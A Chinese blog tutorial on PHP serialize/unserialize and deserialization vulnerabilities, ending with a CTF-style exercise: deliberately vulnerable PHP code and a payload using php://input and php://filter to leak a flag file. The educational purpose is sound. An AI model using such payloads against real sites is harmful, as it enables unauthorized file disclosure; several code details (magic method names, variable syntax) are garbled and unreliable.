概念&原理

序列化就是使用 serialize() 将对象用字符串的方式进行表示;

反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程。

序列化的对象可以是class或者是Array\String对象

序列化与反序列化的作用

对象是在内存中存储的数据类型,其寿命随着生成程序的终止而终止。为了将对象的状态保存下来,在需要的时候将其恢复,使用序列化将对象转化为二进制字符串进行保存。用于对象的传递。

对象序列化

示例代码

<?php
class Person{
private $name="Thinking";
private $sex='man';
function say($name,$sex){
echo 'My name is'.$name.'I am a'.$sex;
}
}
serialize(new Person);
//结果为:O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
$B=array('name'=>'Thinking','sex'=>'man');
echo serialize($B);
//result:a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
?>

对于结果:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

结构为:

对象类型:对象名长度:"对象名":对象成员变量个数:{变量1类型:变量名1长度:变量名1;参数1类型:参数1长度:参数1...}

对象类型:用O表示,Array类型用a表示

变量和参数类型:string用s表示,int用i表示,Array用a表示

符号:参数与变量之间用;隔开,同一参数与变量之间的数据用:隔开。

反序列化

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后用于对象的操作。

示例;

<?php
$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;
var_dump(unserialize($saveData));
?>
//output
class _PHP_Incomplete_Class#1(3){
public $_PHP_Incomplete_Class_Name=>
string(6) "Person"
public $Person name=>
string(8) "Thinking"
public $Person sex=>
string(3) "man"
}

反序列化存在的问题

问题产生的原因:漏洞的根源在于unserialize()函数的参数是可控的。如果反序列化对象中存在魔术方法,而且魔术方法的代码或者变量可控,就可能产生反序列化漏洞。

魔术方法即特殊的函数,魔术函数,其命名以_开头。

反序列化的漏洞中常见的魔术方法:

_construct():在对象创建的时候调用 如使用new操作符创建一个新的实例时,调用该方法。【构造方法】

_destruct():在脚本运行结束时被自动调用 在销毁一个类之间执行析构方法

_sleep():在对象被序列化的时候调用 该函数必须返回一个数组或者对象,一般返回的是当前的对象$this,返回的 值将被用来做序列化的值,如果不返回,序列化失败

_wakeup():在反序列化为对象的时候调用

_toString():直接输出对象引用时自动被调用,该方法必须返回一个字符串,否则产生一个E_RECOVERABLE_ERROR级别的错误。

例题

//index.php
<?php
$user=_$GET["user"];
$file=$_GET["file"];
$pass=$_GET["pass"];
if(isset($user)&&(file_get_contents('$user1','r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file);//class.php
$pass=unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin";
}
?>
//class.php
<?php
class Read{//f1a9.php
public $file;
public function _toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "_toString was called";
}
}
?>

构造payload:

GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

POST DATA:the user is admin

经过请求可以得到经过base64编码的f1a9.php。

最新文章

  1. 在jexus下如何简单的配置多站点
  2. 用vue.js学习es6(五):set和map的使用
  3. JIRA FOR LINUX 安装过程
  4. Extjs 一些配置以及方法
  5. android MotionEvent获得当前位置
  6. Linux Linux程序练习八
  7. aspnet excel导入导出SQLserver
  8. 上海洋码头(www.ymatou.com)急招技术人才(职位:互联网软件开发工程师,.NET网站架构师,Web前端开发工程师,高级测试工程师,产品经理)
  9. STM32的优先级NVIC_PriorityGroupConfig的理解及其使用
  10. ipa制作
  11. 使用C语言编写windows服务一般框架
  12. [USACO17FEB]Why Did the Cow Cross the Road II S
  13. 记一次node进程无法kill 问题
  14. DWM1000 长距离模块讨论
  15. ESP8266开发综合篇(LUA开发-视频教程总揽)
  16. 在linux下实现mysql自动备份数据
  17. MySQL数据库执行sql语句创建数据库和表提示The &#39;InnoDB&#39; feature is disabled; you need MySQL built with &#39;InnoDB&#39; to have it working
  18. Git:上传GitHub项目操作步骤
  19. C++拾遗——重新开始
  20. leetcode-59-螺旋矩阵 II

热门文章

  1. C# InputStream获取后乱码处理
  2. Newman+Jenkins实现接口自动化测试
  3. JavaScript 工作原理之十三-CSS 和 JS 动画底层原理及如何优化其性能
  4. Asp.Net Core IdentityServer4 中的基本概念
  5. duid 配置监控
  6. 【转】JS内置对象方法
  7. js动态创建svg与use 使用iconfont symbol
  8. Oracle 11g rac开启归档
  9. HTC推出了VIVE Comos 全新 VR(虚拟现实)系列产品
  10. Python模块一